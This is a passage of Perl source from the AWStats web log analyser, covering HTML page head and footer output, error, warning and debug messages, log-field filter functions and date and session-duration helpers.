797	if ($NOHTML) { return; }
798	if ( scalar keys %HTMLOutput || $PluginMode ) {
799		my $periodtitle = " ($YearRequired";
800		$periodtitle .= ( $MonthRequired ne 'all' ? "-$MonthRequired" : "" );
801		$periodtitle .= ( $DayRequired   ne ''    ? "-$DayRequired"   : "" );
802		$periodtitle .= ( $HourRequired  ne ''    ? "-$HourRequired"  : "" );
803		$periodtitle .= ")";
804
805		# Write head section
806		if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
807			if ($PageCode) {
808				print "<?xml version=\"1.0\" encoding=\"$PageCode\"?>\n";
809			}
810			else { print "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n"; }
811			if ( $FrameName ne 'index' ) {
812				print
813"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n";
814			}
815			else {
816				print
817"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Frameset//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd\">\n";
818			}
819			print
820"<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"$Lang\">\n";
821		}
822		else {
823			if ( $FrameName ne 'index' ) {
824				print
825"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n";
826			}
827			else {
828				print
829"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Frameset//EN\" \"http://www.w3.org/TR/html4/frameset.dtd\">\n";
830			}
831			print '<html lang="' . $Lang . '"'
832			  . ( $PageDir ? ' dir="rtl"' : '' ) . ">\n";
833		}
834		print "<head>\n";
835
836		my $endtag = '>';
837		if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
838			$endtag = ' />';
839		}
840
841		# Affiche tag meta generator
842		print
843"<meta name=\"generator\" content=\"AWStats $VERSION from config file awstats.$SiteConfig.conf (http://www.awstats.org)\"$endtag\n";
844
845		# Affiche tag meta robots
846		if ($MetaRobot) {
847			print "<meta name=\"robots\" content=\""
848			  . ( $FrameName eq 'mainleft' ? 'no' : '' )
849			  . "index,"
850			  . (    $FrameName eq 'mainleft'
851				  || $FrameName eq 'index' ? '' : 'no' )
852			  . "follow\"$endtag\n";
853		}
854		else {
855			print "<meta name=\"robots\" content=\"noindex,nofollow\"$endtag\n";
856		}
857
858		# Affiche tag meta content-type
859		if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
860			print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i
861				? "<meta http-equiv=\"content-type\" content=\"text/html; charset="
862				  . ( $PageCode ? $PageCode : "iso-8859-1" )
863				  . "\" />\n"
864				: "<meta http-equiv=\"content-type\" content=\"text/xml; charset="
865				  . ( $PageCode ? $PageCode : "iso-8859-1" )
866				  . "\"$endtag\n"
867			);
868		}
869		else {
870			print
871			  "<meta http-equiv=\"content-type\" content=\"text/html; charset="
872			  . ( $PageCode ? $PageCode : "iso-8859-1" )
873			  . "\"$endtag\n";
874		}
875
876		if ($Expires) {
877			print "<meta http-equiv=\"expires\" content=\""
878			  . ( gmtime( $starttime + $Expires ) )
879			  . "\"$endtag\n";
880		}
881		my @k = keys
882		  %HTMLOutput;    # This is to have a unique title and description page
883		print "<meta http-equiv=\"description\" content=\""
884		  . ucfirst($PROG)
885		  . " - Advanced Web Statistics for $SiteDomain$periodtitle"
886		  . ( $k[0] ? " - " . $k[0] : "" )
887		  . "\"$endtag\n";
888		if ( $MetaRobot && $FrameName ne 'mainleft' ) {
889			print
890"<meta http-equiv=\"keywords\" content=\"$SiteDomain, free, advanced, realtime, web, server, logfile, log, analyzer, analysis, statistics, stats, perl, analyse, performance, hits, visits\"$endtag\n";
891		}
892		print "<title>$Message[7] $SiteDomain$periodtitle"
893		  . ( $k[0] ? " - " . $k[0] : "" )
894		  . "</title>\n";
895		if ( $FrameName ne 'index' ) {
896
897			if ($StyleSheet) {
898				print "<link rel=\"stylesheet\" href=\"$StyleSheet\" />\n";
899			}
900
901# A STYLE section must be in head section. Do not use " for number in a style section
902			print "<style type=\"text/css\">\n";
903
904			if ( !$StyleSheet ) {
905				print
906"body { font: 11px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; margin-top: 0; margin-bottom: 0; }\n";
907				print ".aws_bodyl  { }\n";
908				print
909".aws_border { border-collapse: collapse; background-color: #$color_TableBG; padding: 1px 1px "
910				  . (    $BuildReportFormat eq 'xhtml'
911					  || $BuildReportFormat eq 'xml' ? "2px" : "1px" )
912				  . " 1px; margin-top: 0px; margin-bottom: 0px; }\n";
913				print
914".aws_title  { font: 13px verdana, arial, helvetica, sans-serif; font-weight: bold; background-color: #$color_TableBGTitle; text-align: center; margin-top: 0; margin-bottom: 0; padding: 1px 1px 1px 1px; color: #$color_TableTitle; }\n";
915				print
916".aws_blank  { font: 13px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; text-align: center; margin-bottom: 0; padding: 1px 1px 1px 1px; }\n";
917				print <<EOF;
918.aws_data {
919	background-color: #$color_Background;
920	border-top-width: 1px;
921	border-left-width: 0px;
922	border-right-width: 0px;
923	border-bottom-width: 0px;
924}
925.aws_formfield { font: 13px verdana, arial, helvetica; }
926.aws_button {
927	font-family: arial,verdana,helvetica, sans-serif;
928	font-size: 12px;
929	border: 1px solid #ccd7e0;
930	background-image : url($DirIcons/other/button.gif);
931}
932th		{ border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_titletext; }
933th.aws	{ border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font-size: 13px; font-weight: bold; }
934td		{ border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_text; }
935td.aws	{ border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px;}
936td.awsm	{ border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px; }
937b { font-weight: bold; }
938a { font: 11px verdana, arial, helvetica, sans-serif; }
939a:link    { color: #$color_link; text-decoration: none; }
940a:visited { color: #$color_link; text-decoration: none; }
941a:hover   { color: #$color_hover; text-decoration: underline; }
942.currentday { font-weight: bold; }
943EOF
944			}
945
946			# Call to plugins' function AddHTMLStyles
947			foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLStyles'} } )
948			{
949				my $function = "AddHTMLStyles_$pluginname";
950				&$function();
951			}
952
953			print "</style>\n";
954		}
955
956# les scripts necessaires pour trier avec Tablekit
957#	print "<script type=\"text\/javascript\" src=\"/js/prototype.js\"><\/script>";
958#	print "<script type=\"text\/javascript\" src=\"/js/fabtabulous.js\"><\/script>";
959#	print "<script type=\"text\/javascript\" src=\"/js/mytablekit.js\"><\/script>";
960
961		# Call to plugins' function AddHTMLHeader
962		foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLHeader'} } )
963		{
964			my $function = "AddHTMLHeader_$pluginname";
965			&$function();
966		}
967
968		print "</head>\n\n";
969		if ( $FrameName ne 'index' ) {
970			print "<body style=\"margin-top: 0px\"";
971			if ( $FrameName eq 'mainleft' ) { print " class=\"aws_bodyl\""; }
972			print ">\n";
973		}
974	}
975	$HeaderHTMLSent++;
976}
977
978#------------------------------------------------------------------------------
979# Function:		Write on output end of HTML page
980# Parameters:	0|1 (0=no list plugins,1=list plugins)
981# Input:		%HTMLOutput $HTMLEndSection $FrameName $BuildReportFormat
982# Output:		None
983# Return:		None
984#------------------------------------------------------------------------------
985sub html_end {
986	my $listplugins = shift || 0;
987	if ( scalar keys %HTMLOutput ) {
988
989		# Call to plugins' function AddHTMLBodyFooter
990		foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyFooter'} } )
991		{
992
993			# my $function="AddHTMLBodyFooter_$pluginname()";
994			# eval("$function");
995			my $function = "AddHTMLBodyFooter_$pluginname";
996			&$function();
997		}
998
999		if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) {
1000			print "$Center<br /><br />\n";
1001			print
1002"<span dir=\"ltr\" style=\"font: 11px verdana, arial, helvetica; color: #$color_text;\">";
1003			print
1004"<b>Advanced Web Statistics $VERSION</b> - <a href=\"http://www.awstats.org\" target=\"awstatshome\">";
1005			print $Message[169] . " $PROG";
1006			if ($listplugins) {
1007				my $atleastoneplugin = 0;
1008				foreach my $pluginname ( keys %{ $PluginsLoaded{'init'} } ) {
1009					if ( !$atleastoneplugin ) {
1010						$atleastoneplugin = 1;
1011						print " ($Message[170]: ";
1012					}
1013					else { print ", "; }
1014					print "$pluginname";
1015				}
1016				if ($atleastoneplugin) { print ")"; }
1017			}
1018			print "</a></span><br />\n";
1019			if ($HTMLEndSection) { print "<br />\n$HTMLEndSection\n"; }
1020		}
1021		print "\n";
1022		if ( $FrameName ne 'index' ) {
1023			if ( $FrameName ne 'mainleft' && $BuildReportFormat eq 'html' ) {
1024				print "<br />\n";
1025			}
1026			print "</body>\n";
1027		}
1028		print "</html>\n";
1029
1030		#		print "<!-- NEW PAGE --><!-- NEW SHEET -->\n";
1031	}
1032}
1033
1034#------------------------------------------------------------------------------
1035# Function:		Print on stdout tab header of a chart
1036# Parameters:	$title $tooltipnb [$width percentage of chart title]
1037# Input:		None
1038# Output:		None
1039# Return:		None
1040#------------------------------------------------------------------------------
1041sub tab_head {
1042	my $title     = shift;
1043	my $tooltipnb = shift;
1044	my $width     = shift || 70;
1045	my $class     = shift;
1046
1047	# Call to plugins' function TabHeadHTML
1048	my $extra_head_html = '';
1049	foreach my $pluginname ( keys %{ $PluginsLoaded{'TabHeadHTML'} } ) {
1050		my $function = "TabHeadHTML_$pluginname";
1051		$extra_head_html .= &$function($title);
1052	}
1053
1054	if ( $width == 70 && $QueryString =~ /buildpdf/i ) {
1055		print
1056"<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"800\">\n";
1057	}
1058	else {
1059		print
1060"<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
1061	}
1062
1063	if ($tooltipnb) {
1064		print "<tr><td class=\"aws_title\" width=\"$width%\""
1065		  . Tooltip( $tooltipnb, $tooltipnb )
1066		  . ">$title "
1067		  . $extra_head_html . "</td>";
1068	}
1069	else {
1070		print "<tr><td class=\"aws_title\" width=\"$width%\">$title "
1071		  . $extra_head_html . "</td>";
1072	}
1073	print "<td class=\"aws_blank\">&nbsp;</td></tr>\n";
1074	print "<tr><td colspan=\"2\">\n";
1075	if ( $width == 70 && $QueryString =~ /buildpdf/i ) {
1076		print
1077"<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"796\">\n";
1078	}
1079	else {
1080		print
1081"<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
1082	}
1083}
1084
1085#------------------------------------------------------------------------------
1086# Function:		Print on stdout tab ender of a chart
1087# Parameters:	None
1088# Input:		None
1089# Output:		None
1090# Return:		None
1091#------------------------------------------------------------------------------
1092sub tab_end {
1093	my $string = shift;
1094	print "</table></td></tr></table>";
1095	if ($string) {
1096		print
1097"<span style=\"font: 11px verdana, arial, helvetica;\">$string</span><br />\n";
1098	}
1099	print "<br />\n\n";
1100}
1101
1102#------------------------------------------------------------------------------
1103# Function:		Write error message and exit
1104# Parameters:	$message $secondmessage $thirdmessage $donotshowsetupinfo
1105# Input:		$HeaderHTTPSent $HeaderHTMLSent %HTMLOutput $LogSeparator $LogFormat
1106# Output:		None
1107# Return:		None
1108#------------------------------------------------------------------------------
1109sub error {
1110	my $message = shift || '';
1111	if ( scalar keys %HTMLOutput ) {
1112		$message =~ s/\</&lt;/g;
1113		$message =~ s/\>/&gt;/g;
1114	}
1115	my $secondmessage      = shift || '';
1116	my $thirdmessage       = shift || '';
1117	my $donotshowsetupinfo = shift || 0;
1118
1119	if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); }
1120	if ( !$HeaderHTMLSent && scalar keys %HTMLOutput )   {
1121		print "<html><body>\n";
1122		$HeaderHTMLSent = 1;
1123	}
1124	if ($Debug) { debug( "$message $secondmessage $thirdmessage", 1 ); }
1125	my $tagbold     = '';
1126	my $tagunbold   = '';
1127	my $tagbr       = '';
1128	my $tagfontred  = '';
1129	my $tagfontgrey = '';
1130	my $tagunfont   = '';
1131	if ( scalar keys %HTMLOutput ) {
1132		$tagbold     = '<b>';
1133		$tagunbold   = '</b>';
1134		$tagbr       = '<br />';
1135		$tagfontred  = '<span style="color: #880000">';
1136		$tagfontgrey = '<span style="color: #888888">';
1137		$tagunfont   = '</span>';
1138	}
1139	if ( !$ErrorMessages && $message =~ /^Format error$/i ) {
1140
1141		# Files seems to have bad format
1142		if ( scalar keys %HTMLOutput )   { print "<br /><br />\n"; }
1143		if ( $message !~ $LogSeparator ) {
1144
1145			# Bad LogSeparator parameter
1146			print
1147"${tagfontred}AWStats did not found the ${tagbold}LogSeparator${tagunbold} in your log records.${tagbr}${tagunfont}\n";
1148		}
1149		else {
1150
1151			# Bad LogFormat parameter
1152			print
1153"AWStats did not find any valid log lines that match your ${tagbold}LogFormat${tagunbold} parameter, in the ${NbOfLinesForCorruptedLog}th first non commented lines read of your log.${tagbr}\n";
1154			print
1155"${tagfontred}Your log file ${tagbold}$thirdmessage${tagunbold} must have a bad format or ${tagbold}LogFormat${tagunbold} parameter setup does not match this format.${tagbr}${tagbr}${tagunfont}\n";
1156			print
1157			  "Your AWStats ${tagbold}LogFormat${tagunbold} parameter is:\n";
1158			print "${tagbold}$LogFormat${tagunbold}${tagbr}\n";
1159			print
1160			  "This means each line in your web server log file need to have ";
1161			if ( $LogFormat == 1 ) {
1162				print
1163"${tagbold}\"combined log format\"${tagunbold} like this:${tagbr}\n";
1164				print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1165				print
1166"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n";
1167				print(
1168					scalar keys %HTMLOutput
1169					? "</i>$tagunfont${tagbr}${tagbr}\n"
1170					: ""
1171				);
1172			}
1173			if ( $LogFormat == 2 ) {
1174				print
1175"${tagbold}\"MSIE Extended W3C log format\"${tagunbold} like this:${tagbr}\n";
1176				print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1177				print
1178"date time c-ip c-username cs-method cs-uri-sterm sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)\n";
1179				print(
1180					scalar keys %HTMLOutput
1181					? "</i>$tagunfont${tagbr}${tagbr}\n"
1182					: ""
1183				);
1184			}
1185			if ( $LogFormat == 3 ) {
1186				print
1187"${tagbold}\"WebStar native log format\"${tagunbold}${tagbr}\n";
1188			}
1189			if ( $LogFormat == 4 ) {
1190				print
1191"${tagbold}\"common log format\"${tagunbold} like this:${tagbr}\n";
1192				print( scalar keys %HTMLOutput ? "$tagfontgrey<i><pre>" : "" );
1193				print
1194"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234\n";
1195				print(
1196					scalar keys %HTMLOutput
1197					? "</pre></i>$tagunfont${tagbr}${tagbr}\n"
1198					: ""
1199				);
1200			}
1201			if ( $LogFormat == 6 ) {
1202				print
1203"${tagbold}\"Lotus Notes/Lotus Domino\"${tagunbold}${tagbr}\n";
1204				print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1205				print
1206"111.22.33.44 - Firstname Middlename Lastname [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n";
1207				print(
1208					scalar keys %HTMLOutput
1209					? "</i></span>${tagbr}${tagbr}\n"
1210					: ""
1211				);
1212			}
1213			if ( $LogFormat !~ /^[1-6]$/ ) {
1214				print "the following personalized log format:${tagbr}\n";
1215				print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1216				print "$LogFormat\n";
1217				print(
1218					scalar keys %HTMLOutput
1219					? "</i>$tagunfont${tagbr}${tagbr}\n"
1220					: ""
1221				);
1222			}
1223			print
1224"And this is an example of records AWStats found in your log file (the record number $NbOfLinesForCorruptedLog in your log):\n";
1225			print( scalar keys %HTMLOutput ? "<br />$tagfontgrey<i>" : "" );
1226			print "$secondmessage";
1227			print(
1228				scalar keys %HTMLOutput
1229				? "</i>$tagunfont${tagbr}${tagbr}"
1230				: ""
1231			);
1232			print "\n";
1233		}
1234
1235#print "Note: If your $NbOfLinesForCorruptedLog first lines in your log files are wrong because of ";
1236#print "a worm virus attack, you can increase the NbOfLinesForCorruptedLog parameter in config file.\n";
1237#print "\n";
1238	}
1239	else {
1240		print( scalar keys %HTMLOutput ? "<br />$tagfontred\n" : "" );
1241		print( $ErrorMessages? "$ErrorMessages" : "Error: $message" );
1242		print( scalar keys %HTMLOutput ? "\n</span><br />" : "" );
1243		print "\n";
1244	}
1245	if ( !$ErrorMessages && !$donotshowsetupinfo ) {
1246		if ( $message =~ /Couldn.t open config file/i ) {
1247			my $dir = $DIR;
1248			if ( $dir =~ /^\./ ) { $dir .= '/../..'; }
1249			else { $dir =~ s/[\\\/]?wwwroot[\/\\]cgi-bin[\\\/]?//; }
1250			print "${tagbr}\n";
1251			if ( $ENV{'GATEWAY_INTERFACE'} ) {
1252				print
1253"- ${tagbold}Did you use the correct URL ?${tagunbold}${tagbr}\n";
1254				print
1255"Example: http://localhost/awstats/awstats.pl?config=mysite${tagbr}\n";
1256				print
1257"Example: http://127.0.0.1/cgi-bin/awstats.pl?config=mysite${tagbr}\n";
1258			}
1259			else {
1260				print
1261"- ${tagbold}Did you use correct config parameter ?${tagunbold}${tagbr}\n";
1262				print
1263"Example: If your config file is awstats.mysite.conf, use -config=mysite\n";
1264			}
1265			print
1266"- ${tagbold}Did you create your config file 'awstats.$SiteConfig.conf' ?${tagunbold}${tagbr}\n";
1267			print
1268"If not, you can run \"awstats_configure.pl\"\nfrom command line, or create it manually.${tagbr}\n";
1269			print "${tagbr}\n";
1270		}
1271		else {
1272			print "${tagbr}${tagbold}Setup ("
1273			  . ( $FileConfig ? "'" . $FileConfig . "'" : "Config" )
1274			  . " file, web server or permissions) may be wrong.${tagunbold}${tagbr}\n";
1275		}
1276		print
1277"Check config file, permissions and AWStats documentation (in 'docs' directory).\n";
1278	}
1279
1280	# Remove lock if not a lock message
1281	if ( $EnableLockForUpdate && $message !~ /lock file/ ) { &Lock_Update(0); }
1282	if ( scalar keys %HTMLOutput ) { print "</body></html>\n"; }
1283	exit 1;
1284}
1285
1286#------------------------------------------------------------------------------
1287# Function:		Write a warning message
1288# Parameters:	$message
1289# Input:		$HeaderHTTPSent $HeaderHTMLSent $WarningMessage %HTMLOutput
1290# Output:		None
1291# Return:		None
1292#------------------------------------------------------------------------------
1293sub warning {
1294	my $messagestring = shift;
1295
1296	if ($Debug) { debug( "$messagestring", 1 ); }
1297	if ($WarningMessages) {
1298		if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); }
1299		if ( !$HeaderHTMLSent )        { html_head(); }
1300		if ( scalar keys %HTMLOutput ) {
1301			$messagestring =~ s/\n/\<br\>/g;
1302			print "$messagestring<br />\n";
1303		}
1304		else {
1305			print "$messagestring\n";
1306		}
1307	}
1308}
1309
1310#------------------------------------------------------------------------------
1311# Function:     Write debug message and exit
1312# Parameters:   $string $level
1313# Input:        %HTMLOutput  $Debug=required level  $DEBUGFORCED=required level forced
1314# Output:		None
1315# Return:		None
1316#------------------------------------------------------------------------------
1317sub debug {
1318	my $level = $_[1] || 1;
1319
1320	if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) {
1321		http_head();
1322	}    # To send the HTTP header and see debug
1323	if ( $level <= $DEBUGFORCED ) {
1324		my $debugstring = $_[0];
1325		if ( !$DebugResetDone ) {
1326			open( DEBUGFORCEDFILE, "<debug.log" );
1327			close DEBUGFORCEDFILE;
1328			chmod 0666, "debug.log";
1329			$DebugResetDone = 1;
1330		}
1331		open( DEBUGFORCEDFILE, ">>debug.log" );
1332		print DEBUGFORCEDFILE localtime(time)
1333		  . " - $$ - DEBUG $level - $debugstring\n";
1334		close DEBUGFORCEDFILE;
1335	}
1336	if ( $DebugMessages && $level <= $Debug ) {
1337		my $debugstring = $_[0];
1338		if ( scalar keys %HTMLOutput ) {
1339			$debugstring =~ s/^ /&nbsp;&nbsp; /;
1340			$debugstring .= "<br />";
1341		}
1342		print localtime(time) . " - DEBUG $level - $debugstring\n";
1343	}
1344}
1345
1346#------------------------------------------------------------------------------
1347# Function:     Optimize an array of precompiled regex by removing duplicate entries
1348# Parameters:	@Array notcasesensitive=0|1
1349# Input:        None
1350# Output:		None
1351# Return:		None
1352#------------------------------------------------------------------------------
1353sub OptimizeArray {
1354    my ( $array, $notcasesensitive ) = @_;
1355    my %seen;
1356
1357    if ($notcasesensitive) {
1358
1359        # Case insensitive
1360        my $uncompiled_regex;
1361        return map {
1362            $uncompiled_regex = UnCompileRegex($_);
1363            !$seen{ lc $uncompiled_regex }++ ? qr/$uncompiled_regex/i : ()
1364        } @$array;
1365    }
1366
1367    # Case sensitive
1368    return map { !$seen{$_}++ ? $_ : () } @$array;
1369}
1370
1371#------------------------------------------------------------------------------
1372# Function:     Check if parameter is in SkipDNSLookupFor array
1373# Parameters:	ip @SkipDNSLookupFor (a NOT case sensitive precompiled regex array)
1374# Return:		0 Not found, 1 Found
1375#------------------------------------------------------------------------------
1376sub SkipDNSLookup {
1377	foreach (@SkipDNSLookupFor) {
1378		if ( $_[0] =~ /$_/ ) { return 1; }
1379	}
1380	0;    # Not in @SkipDNSLookupFor
1381}
1382
1383#------------------------------------------------------------------------------
1384# Function:     Check if parameter is in SkipHosts array
1385# Parameters:	host @SkipHosts (a NOT case sensitive precompiled regex array)
1386# Return:		0 Not found, 1 Found
1387#------------------------------------------------------------------------------
1388sub SkipHost {
1389	foreach (@SkipHosts) {
1390		if ( $_[0] =~ /$_/ ) { return 1; }
1391	}
1392	0;    # Not in @SkipHosts
1393}
1394
1395#------------------------------------------------------------------------------
1396# Function:     Check if parameter is in SkipReferrers array
1397# Parameters:	host @SkipReferrers (a NOT case sensitive precompiled regex array)
1398# Return:		0 Not found, 1 Found
1399#------------------------------------------------------------------------------
1400sub SkipReferrer {
1401	foreach (@SkipReferrers) {
1402		if ( $_[0] =~ /$_/ ) { return 1; }
1403	}
1404	0;    # Not in @SkipReferrers
1405}
1406
1407#------------------------------------------------------------------------------
1408# Function:     Check if parameter is in SkipUserAgents array
1409# Parameters:	useragent @SkipUserAgents (a NOT case sensitive precompiled regex array)
1410# Return:		0 Not found, 1 Found
1411#------------------------------------------------------------------------------
1412sub SkipUserAgent {
1413	foreach (@SkipUserAgents) {
1414		if ( $_[0] =~ /$_/ ) { return 1; }
1415	}
1416	0;    # Not in @SkipUserAgent
1417}
1418
1419#------------------------------------------------------------------------------
1420# Function:     Check if parameter is in SkipFiles array
1421# Parameters:	url @SkipFiles (a NOT case sensitive precompiled regex array)
1422# Return:		0 Not found, 1 Found
1423#------------------------------------------------------------------------------
1424sub SkipFile {
1425	foreach (@SkipFiles) {
1426		if ( $_[0] =~ /$_/ ) { return 1; }
1427	}
1428	0;    # Not in @SkipFiles
1429}
1430
1431#------------------------------------------------------------------------------
1432# Function:     Check if parameter is in OnlyHosts array
1433# Parameters:	host @OnlyHosts (a NOT case sensitive precompiled regex array)
1434# Return:		0 Not found, 1 Found
1435#------------------------------------------------------------------------------
1436sub OnlyHost {
1437	foreach (@OnlyHosts) {
1438		if ( $_[0] =~ /$_/ ) { return 1; }
1439	}
1440	0;    # Not in @OnlyHosts
1441}
1442
1443#------------------------------------------------------------------------------
1444# Function:     Check if parameter is in OnlyUsers array
1445# Parameters:	host @OnlyUsers (a NOT case sensitive precompiled regex array)
1446# Return:		0 Not found, 1 Found
1447#------------------------------------------------------------------------------
1448sub OnlyUser {
1449	foreach (@OnlyUsers) {
1450		if ( $_[0] =~ /$_/ ) { return 1; }
1451	}
1452	0;    # Not in @OnlyUsers
1453}
1454
1455#------------------------------------------------------------------------------
1456# Function:     Check if parameter is in OnlyUserAgents array
1457# Parameters:	useragent @OnlyUserAgents (a NOT case sensitive precompiled regex array)
1458# Return:		0 Not found, 1 Found
1459#------------------------------------------------------------------------------
1460sub OnlyUserAgent {
1461	foreach (@OnlyUserAgents) {
1462		if ( $_[0] =~ /$_/ ) { return 1; }
1463	}
1464	0;    # Not in @OnlyUserAgents
1465}
1466
1467#------------------------------------------------------------------------------
1468# Function:     Check if parameter is in NotPageFiles array
1469# Parameters:	url @NotPageFiles (a NOT case sensitive precompiled regex array)
1470# Return:		0 Not found, 1 Found
1471#------------------------------------------------------------------------------
1472sub NotPageFile {
1473	foreach (@NotPageFiles) {
1474		if ( $_[0] =~ /$_/ ) { return 1; }
1475	}
1476	0;    # Not in @NotPageFiles
1477}
1478
1479#------------------------------------------------------------------------------
1480# Function:     Check if parameter is in OnlyFiles array
1481# Parameters:	url @OnlyFiles (a NOT case sensitive precompiled regex array)
1482# Return:		0 Not found, 1 Found
1483#------------------------------------------------------------------------------
1484sub OnlyFile {
1485	foreach (@OnlyFiles) {
1486		if ( $_[0] =~ /$_/ ) { return 1; }
1487	}
1488	0;    # Not in @OnlyFiles
1489}
1490
1491#------------------------------------------------------------------------------
1492# Function:     Return day of week of a day
1493# Parameters:	$day $month $year
1494# Return:		0-6
1495#------------------------------------------------------------------------------
1496sub DayOfWeek {
1497	my ( $day, $month, $year ) = @_;
1498	if ($Debug) { debug( "DayOfWeek for $day $month $year", 4 ); }
1499	if ( $month < 3 ) { $month += 10; $year--; }
1500	else { $month -= 2; }
1501	my $cent = sprintf( "%1i", ( $year / 100 ) );
1502	my $y    = ( $year % 100 );
1503	my $dw   = (
1504		sprintf( "%1i", ( 2.6 * $month ) - 0.2 ) + $day + $y +
1505		  sprintf( "%1i", ( $y / 4 ) ) + sprintf( "%1i", ( $cent / 4 ) ) -
1506		  ( 2 * $cent ) ) % 7;
1507	$dw += 7 if ( $dw < 0 );
1508	if ($Debug) { debug( " is $dw", 4 ); }
1509	return $dw;
1510}
1511
1512#------------------------------------------------------------------------------
1513# Function:     Return 1 if a date exists
1514# Parameters:	$day $month $year
1515# Return:		1 if date exists else 0
1516#------------------------------------------------------------------------------
1517sub DateIsValid {
1518	my ( $day, $month, $year ) = @_;
1519	if ($Debug) { debug( "DateIsValid for $day $month $year", 4 ); }
1520	if ( $day < 1 )  { return 0; }
1521	if ( $day > 31 ) { return 0; }
1522	if ( $month == 4 || $month == 6 || $month == 9 || $month == 11 ) {
1523		if ( $day > 30 ) { return 0; }
1524	}
1525	elsif ( $month == 2 ) {
1526		my $leapyear = ( $year % 4 == 0 ? 1 : 0 );   # A leap year every 4 years
1527		if ( $year % 100 == 0 && $year % 400 != 0 ) {
1528			$leapyear = 0;
1529		}    # Except if year is 100x and not 400x
1530		if ( $day > ( 28 + $leapyear ) ) { return 0; }
1531	}
1532	return 1;
1533}
1534
1535#------------------------------------------------------------------------------
1536# Function:     Return string of visit duration
1537# Parameters:	$starttime $endtime
1538# Input:        None
1539# Output:		None
1540# Return:		A string from $SessionsRange[0..6] that identify the visit duration range
1541#------------------------------------------------------------------------------
1542sub GetSessionRange {
1543	my $param1=shift;
1544	my $param2=shift;
1545
1546	# skip unneeded calculations if its the same
1547	if ($param1 == $param2) { return $SessionsRange[0]; }
1548
1549	my $starttime;
1550	my $endtime;
1551
1552	eval {
1553		#safety to prevent Time::Local causing termination on invalid data
1554		#Ex: Second '84' out of range 0..59 at /xxx/awstats.pl
1555		if ($param1 =~ /$regdate/o) { $starttime = Time::Local::timelocal($6,$5,$4,$3,$2-1,$1); }
1556		if ($param2 =~ /$regdate/o) { $endtime = Time::Local::timelocal($6,$5,$4,$3,$2-1,$1); }
1557	};
1558
1559	my $delay = $endtime - $starttime;
1560	if ($Debug) {
1561		debug( "GetSessionRange $endtime - $starttime = $delay", 4 );
1562	}
1563	if ( $delay <= 30 )   { return $SessionsRange[0]; }
1564	if ( $delay <= 120 )  { return $SessionsRange[1]; }
1565	if ( $delay <= 300 )  { return $SessionsRange[2]; }
1566	if ( $delay <= 900 )  { return $SessionsRange[3]; }
1567	if ( $delay <= 1800 ) { return $SessionsRange[4]; }
1568	if ( $delay <= 3600 ) { return $SessionsRange[5]; }
1569	return $SessionsRange[6];
1570}
1571
1572#------------------------------------------------------------------------------
1573# Function:     Return string with just the extension of a file in the URL
1574# Parameters:	$regext, $url without query string
1575# Input:        None
1576# Output:		None
1577# Return:		A lowercase string with the name of the extension, e.g. "html"
1578#------------------------------------------------------------------------------
1579sub Get_Extension{
1580	my $extension;
1581	my $regext = shift;
1582	my $urlwithnoquery = shift;
1583	if ( $urlwithnoquery =~ /$regext/o
